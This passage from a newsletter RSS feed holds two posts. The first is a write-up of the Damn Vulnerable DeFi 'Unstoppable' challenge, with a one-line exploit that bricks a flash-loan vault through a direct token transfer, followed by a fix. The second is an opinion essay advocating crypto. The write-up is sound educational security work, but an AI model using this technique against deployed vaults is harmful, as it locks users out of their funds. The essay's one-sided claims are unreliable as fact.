class="dont-break-out" href="https://github.com/tinchoabbate/damn-vulnerable-defi/blob/33120e97e9dbe8c297496a99549e6408a3944e95/contracts/unstoppable/UnstoppableVault.sol">contract</a>. At a high level, this contract is an <code>ERC4626</code> that supports lending using <code>ERC3156</code>. There is some grace period logic that allows users to lend funds without paying any fees within the first 30 days.</p><p>The <code>maxFlashLoan</code> function returns 0 if the asset is not supported and returns the <code>totalAssets</code> in the vault otherwise. The <code>flashFee</code> function has the logic for returning 0 if within the grace period (and the user is not attempting to borrow all the funds in the vault) or 5% of the borrowed amount otherwise. <code>setFeeRecipient</code> is gated to allowing only the contract owner to call it and sets a new recipient for all fees.</p><p>The logic in <code>totalAssets</code> looks a bit scary, so I’ll break it down</p><pre data-type="codeBlock" text="function totalAssets() public view override returns (uint256) {
    assembly { // better safe than sorry
        if eq(sload(0), 2) {
            mstore(0x00, 0xed3ba6a6)
            revert(0x1c, 0x04)
        }
    }
    return asset.balanceOf(address(this));
}
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">totalAssets</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>) </span>{
    <span class="hljs-keyword">assembly</span> { <span class="hljs-comment">// better safe than sorry</span>
        <span class="hljs-keyword">if</span> <span class="hljs-built_in">eq</span>(<span class="hljs-built_in">sload</span>(<span class="hljs-number">0</span>), <span class="hljs-number">2</span>) {
            <span class="hljs-built_in">mstore</span>(<span class="hljs-number">0x00</span>, <span class="hljs-number">0xed3ba6a6</span>)
            <span class="hljs-keyword">revert</span>(<span class="hljs-number">0x1c</span>, <span class="hljs-number">0x04</span>)
        }
    }
    <span class="hljs-keyword">return</span> asset.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
}
</code></pre><p>First, we check if the value in the first storage slot is 0. To find this storage slot, we need to check the first line of the contract</p><pre data-type="codeBlock" text="contract UnstoppableVault is IERC3156FlashLender, ReentrancyGuard, Owned, ERC4626 {
"><code><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">UnstoppableVault</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IERC3156FlashLender</span>, <span class="hljs-title">ReentrancyGuard</span>, <span class="hljs-title">Owned</span>, <span class="hljs-title">ERC4626</span> </span>{
</code></pre><p>Storage is ordered by the contracts that are inherited first by the order that they are inherited. Since <code>IERC3156FlashLender</code> has no storage, we check <code>ReentrancyGuard</code>. The first storage item here is the <code>locked</code> flag which ensures that reentrancy does not happen. If the value is 2 (the function has been entered), then this will revert. To be honest, I’m not sure why this check is done since none of the calls that use <code>totalAssets</code> has the <code>nonReentrant</code> modifier. Secondly this could be implemented by using the <code>nonReentrant</code> modifier directly on <code>totalAssets</code> and probably use less gas on the deployment but 🤷.</p><p>Finally, we get to the meat of this contract - the <code>flashLoan</code> function. In here, we check a bunch of conditions transfer the requested funds to the caller, call the callback and get the funds back plus a fee.</p><h1 id="h-the-hack" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">The hack</h1><p>The exploit we are looking for is a way to block all users from being able to use the vault to make flash loans. Looking closely at the code in <code>flashLoan</code> there is this line:</p><pre data-type="codeBlock" text="uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
"><code>uint256 balanceBefore = <span class="hljs-built_in">totalAssets</span>();
if (convertToShares(totalSupply) != balanceBefore) revert <span class="hljs-built_in">InvalidBalance</span>(); <span class="hljs-comment">// enforce ERC4626 requirement</span>
</code></pre><p>This struck out to me because there is an assumption that the total number of tokens in the vault will always be equal to the total number of tokens owned by the vault. If we can somehow make the vault receive assets (update <code>totalAssets</code>) without updating the <code>totalSupply</code>, then this contract will become bricked and will always revert until this was somehow resolved. Digging into the <code>ERC4626</code> and <code>ERC20</code>, we see that <code>totalSupply</code> is only updated during a <code>mint</code> or <code>burn</code> event. The <code>mint</code> is called by the deployer who has 100% of the shares in the vault.</p><p>However, transferring tokens does not affect <code>totalSupply</code>. Thus, we can simply transfer some tokens from our user to the vault and all further loans will revert.</p><pre data-type="codeBlock" text="it(&apos;Execution&apos;, async function () {
    /** CODE YOUR SOLUTION HERE */
    await token.connect(player).transfer(vault.address, 1n * 10n ** 18n);
});
"><code>it(<span class="hljs-string">'Execution'</span>, async <span class="hljs-function"><span class="hljs-keyword">function</span> (<span class="hljs-params"></span>) </span>{
    <span class="hljs-comment">/** CODE YOUR SOLUTION HERE */</span>
    await token.connect(player).<span class="hljs-built_in">transfer</span>(vault.<span class="hljs-built_in">address</span>, 1n <span class="hljs-operator">*</span> 10n <span class="hljs-operator">*</span><span class="hljs-operator">*</span> 18n);
});
</code></pre><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/f4a8c518fe8ef0b8a6bbf511d7fec6a9e478d96640c5915909fdc33de4e6cd81.png" alt="Test passes" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="">Test passes</figcaption></figure><p>For more details, we can <code>console.log</code> the <code>balanceBefore</code> and <code>convertToShares(totalSupply)</code> values after doing our token transfer. We see the following:</p><pre data-type="codeBlock" text="totalSupply 1000000000000000000000000
convertToShares(totalSupply) 999999000000999999000000
balanceBefore 1000001000000000000000000
"><code>totalSupply <span class="hljs-number">1000000000000000000000000</span>
<span class="hljs-built_in">convertToShares</span>(totalSupply) <span class="hljs-number">999999000000999999000000</span>
balanceBefore <span class="hljs-number">1000001000000000000000000</span>
</code></pre><p>Since the balance has gone up, but the total supply of shares in the vault remains the same, <code>convertToShares</code> returns a value smaller than <code>balanceBefore</code>.</p><h1 id="h-resolution" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Resolution</h1><p>An exploit like this can be resolved by blocking transfers of the token into the vault directly. These direct transfers break the internal accounting of ERC4626.</p><h1 id="h-credits" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Credits</h1><p>Credit to Jason Dent for the cover photo</p><p><a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://unsplash.com/photos/3wPJxh-piRw?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditShareLink">https://unsplash.com/photos/3wPJxh-piRw?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditShareLink</a></p>]]></content:encoded>
            <author>tanh@newsletter.paragraph.com (tanh)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/ac4fc673129be31c2fffbcbf845ce5dbd60c8f3dd17881350338d76b68eae059.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[A case for crypto]]></title>
            <link>https://paragraph.com/@tanh/a-case-for-crypto</link>
            <guid>cKa1sF08Ud1KGYbmJpkl</guid>
            <pubDate>Sat, 18 Mar 2023 23:32:59 GMT</pubDate>
            <description><![CDATA[I’ve been fascinated by crypto for quite a while now due to the real world utility that it brings. However, I often hear the sentiment repeated that crypto does not have any real world use cases. This is surprising to me, so I want to share some of my thoughts on this. In this article, I show that there are already many uses for the technology that often are overlooked.Self custodyThe modern banking system is broken and is designed to steal money from everyday people. Traditionally, banks wer...]]></description>
            <content:encoded><![CDATA[<p>I’ve been fascinated by crypto for quite a while now due to the real world utility that it brings. However, I often hear the sentiment repeated that crypto does not have any real world use cases. This is surprising to me, so I want to share some of my thoughts on this. In this article, I show that there are already many uses for the technology that often are overlooked.</p><h1 id="h-self-custody" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Self custody</h1><p>The modern banking system is broken and is designed to steal money from everyday people. Traditionally, banks were the only alternative one had to keep their money safe. It was foolish for someone to keep their entire life savings under their bed or in a pillow. This meant that users had no alternative and had to store their funds in the bank to keep them safe.</p><p>However, when users deposit their funds in banks, it is impossible to know what exactly is being done with those funds. One recent example of this was with Silicon Valley Bank (SVB) which was unable to provide funds to their users during a cash crunch, because the funds had all been invested in long term bonds. Even though it was the users funds, they couldn’t even directly get access to those bonds since the bonds were owned by the bank. The users had effectively given up ownership of their money and kept a lot of trust in the banking institution. To resolve this issue, a massive relief had to be provided by the government from taxpayer funds to guarantee the deposits.</p><p>One can also look at the example of FTX. FTX from the outside looks like a crypto company, but in reality it operated exactly like banks do. If it walks like a duck, talks like a duck and all that. FTX used user funds in risky trades, eventually losing all of those funds. Over $40B of user funds were lost and most of these users that were affected will likely never get their money back.</p><p>Cryptocurrency solves these banking problems by providing a secure infrastructure where users no longer need to rely on the banking systems. Instead, user funds are secured using powerful mathematical tools. User funds are guaranteed to only be accessible by the owner of those funds. For the first time in history, we have a system where value can be stored without having to rely on the banking system.</p><h1 id="h-transferring-funds" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Transferring funds</h1><p>Traditionally, sending funds between users has been a cumbersome and time consuming process. To send funds overseas, users have to go through banks using a process that can take several days. The banking system also cheats users by charging significant fees and providing unfavourable exchange rates. Additionally, there is sometimes human error involved when sending these transfers through banks since there is a lot of manual labour involved.</p><p>Cryptocurrency solves all of these issues as well. On ethereum, it takes seconds to send any amount of money to anyone on earth. Additionally, the transfer can be done for a few dollars - or even a few cents by using Layer 2 systems. Everything from splitting the cost of a meal to sending money back home to family can be done more seamlessly than ever before.</p><p>Exchanging currencies on decentralized finance applications has revolutionized currency exchange. These platforms automatically provide fair exchange rates that exactly match the market rate in a transparent manner. Fees from the protocol are distributed fairly to protocol participants who provide liquidity for making exchanges. This is a technique for making yield that was previously only available to banking elites. Now, a fair market is created where anyone can provide a service that anyone else has access to.</p><h1 id="h-separation-of-government-and-money" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Separation of government and money</h1><p>For a significant period of human history, it was common for the government to be intertwined with religion. In the Roman Empire for example, the state could deem it illegal for citizens to believe certain religions and preach about them. Depending on the religious beliefs of those in power, those beliefs could be forced on anyone who lived in the empire. This was an extremely common form of government until Henry VIII, like an absolute chad, broke away from the catholic church so that he could get a divorce.</p><p>This ideal of removing state control from something so deeply personal like religion has been absolutely positive. In the first amendment of the United States constitution, this beautiful ideal was put into law. This way, the government is unable to intervene in the religious affiliations of anyone living in the country. If we are able to remove the government from our personal lives, maybe it’s time to take them out of our financial lives as well.</p><p>What I mean by this is that governments abuse their power of control over the monetary supply to their own benefit. Those in power print money and devalue the currency that is held by the masses. Since there is no cap on how much the government can spend, corrupt institutions are able to earn huge amounts of money while making the rest of society poorer. One example of this is the military industrial complex. President Eisenhower discusses this in his farewell address.</p><blockquote><p>The potential for the disastrous rise of misplaced power exists, and will persist. We must never let the weight of this endanger our liberties or democratic processes</p></blockquote><div data-type="youtube" videoId="OyBNmecVtdU">
      <div class="youtube-player" data-id="OyBNmecVtdU" style="background-image: url('https://i.ytimg.com/vi/OyBNmecVtdU/hqdefault.jpg'); background-size: cover; background-position: center">
        <a href="https://www.youtube.com/watch?v=OyBNmecVtdU">
          <img src="{{DOMAIN}}/editor/youtube/play.png" class="play"/>
        </a>
      </div></div><p>I believe money belongs to the people, not the state. Cryptocurrency enables all of us to take back control of our money and disable the state from devaluing it through systemic corruption.</p><h1 id="h-censorship-free-social-media" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Censorship free social media</h1><p>After the January 6 2021 storming of the US capital, president Donald Trump was swiftly banned from all the major social media platforms. I don’t intend to make a political stance, however, it is clear that social media companies are too powerful. The fact that unelected elites have the ability to completely remove the sitting president of the United States is absurd.</p><p>Other examples of this can be seen with the handling of the covid pandemic by these same social media platforms. Ideas that were deemed unacceptable were directly removed from public conversation such as the Wuhan lab leak theory. Our communication channels have become politicized and believing the wrong thing can get you kicked off. This is very similar to the issues of linked church and state that I discussed earlier.</p><p>Using crypto technology, social media platforms such as <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://lenster.xyz/">lens</a> and <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://www.farcaster.xyz/">farcaster</a> have been developed where a user’s content is entirely owned by them. Instead of being completely at the whims of whoever owns the platform, users own their content and their followers go with them to any platform.</p><h1 id="h-final-thoughts" class="text-4xl font-header !mt-8 !mb-4 first:!mt-0 first:!mb-0">Final thoughts</h1><p>Crypto already has many effective use cases that are often overlooked. The technology brings significant improvements to the lives of everyday people. Never before have ordinary people been able to control their own financial lives and online freedom than today. This has only scratched the surface on what is possible and how far this industry can go.</p><p>Credit to Linh Nguyen on Unsplash for the header <a target="_blank" rel="noopener noreferrer nofollow ugc" class="dont-break-out" href="https://unsplash.com/photos/J8k-gzI0Zy0?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">photo</a></p>]]></content:encoded>
            <author>tanh@newsletter.paragraph.com (tanh)</author>
            <enclosure url="https://storage.googleapis.com/papyrus_images/37a177e19fc80f2f7b9decc860ec83dbe8d5c9742f6f53e05b285972af25d44f.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>